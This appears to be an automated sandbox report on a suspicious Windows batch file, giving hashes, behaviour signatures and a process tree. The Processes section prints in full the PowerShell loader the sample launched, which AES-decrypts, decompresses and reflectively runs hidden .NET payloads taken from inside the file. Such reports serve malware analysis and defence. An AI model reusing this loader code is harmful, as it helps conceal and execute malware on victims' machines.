Analysis
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max time kernel
118s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system -
submitted
30-06-2024 08:14
Static task
static1
Behavioral task
behavioral1
Sample
_$phantom-SCV.cmd
Resource
win7-20240611-en
3 signatures
150 seconds
General
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Target
_$phantom-SCV.cmd
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Size
500KB
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MD5
6e45850d43bde1d6bc68ab6b07daf153
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SHA1
427ed64bb89e6bf40e59276768d37152c209e976
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SHA256
0a0a6608a80b982fc1f0897b89c9ffa58ba58e3c2d1c200155e47c495b0c6150
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SHA512
e44ea25026d2146991e61eb82ed6028af248fb9235b271f665943b432833e3274a3e9ae9ffc912436b294e6a450337cbd251daafad11c926a41cc942042b4f81
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SSDEEP
12288:Co8xbtgA4f9Ek3aoC4QvfD2ZK1n6B4XyZYi9lGUnnQ:Co8NtsaCm1nhqD9ginQ
Score
1/10
Malware Config
Signatures
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2644 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2644 powershell.exe -
Suspicious use of WriteProcessMemory 33 IoCs
Processes:
cmd.exedescription pid process target process PID 2764 wrote to memory of 1856 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 1856 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 1856 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2148 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2148 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2148 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2948 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2948 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2948 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2676 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2676 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2676 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2960 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2960 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2960 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2588 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2588 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2588 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 3056 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 3056 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 3056 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 3020 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 3020 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 3020 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2600 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2600 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2600 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2636 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2636 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2636 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2644 2764 cmd.exe powershell.exe PID 2764 wrote to memory of 2644 2764 cmd.exe powershell.exe PID 2764 wrote to memory of 2644 2764 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\_$phantom-SCV.cmd"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵
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C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵
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C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵
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C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵
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C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵
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C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵
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C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵
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C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵
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C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('wNcFKur0Jl7450HdnpBnzjJ0VkczGUUgZCayB4N/z5k='); $aes_var.IV=[System.Convert]::FromBase64String('LnVH8Q3dknv++SzltewTug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZpTQS=New-Object System.IO.MemoryStream(,$param_var); $OYGBL=New-Object System.IO.MemoryStream; $STZRP=New-Object System.IO.Compression.GZipStream($ZpTQS, [IO.Compression.CompressionMode]::Decompress); $STZRP.CopyTo($OYGBL); $STZRP.Dispose(); $ZpTQS.Dispose(); $OYGBL.Dispose(); $OYGBL.ToArray();}function execute_function($param_var,$param2_var){ $QnAOk=[System.Reflection.Assembly]::Load([byte[]]$param_var); $GDXEp=$QnAOk.EntryPoint; $GDXEp.Invoke($null, $param2_var);}$pPyzM = 'C:\Users\Admin\AppData\Local\Temp\_$phantom-SCV.cmd';$host.UI.RawUI.WindowTitle = $pPyzM;$CtNBM=[System.IO.File]::ReadAllText($pPyzM).Split([Environment]::NewLine);foreach ($oZZUg in $CtNBM) { if ($oZZUg.StartsWith('IrzEsjacAQqOMrEShQQm')) { $GKlON=$oZZUg.Substring(20); break; }}$payloads_var=[string[]]$GKlON.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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memory/2644-4-0x00000000026E0000-0x0000000002760000-memory.dmpFilesize
512KB
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memory/2644-5-0x000000001B2F0000-0x000000001B5D2000-memory.dmpFilesize
2.9MB
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memory/2644-6-0x0000000002350000-0x0000000002358000-memory.dmpFilesize
32KB
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memory/2644-7-0x00000000026E0000-0x0000000002760000-memory.dmpFilesize
512KB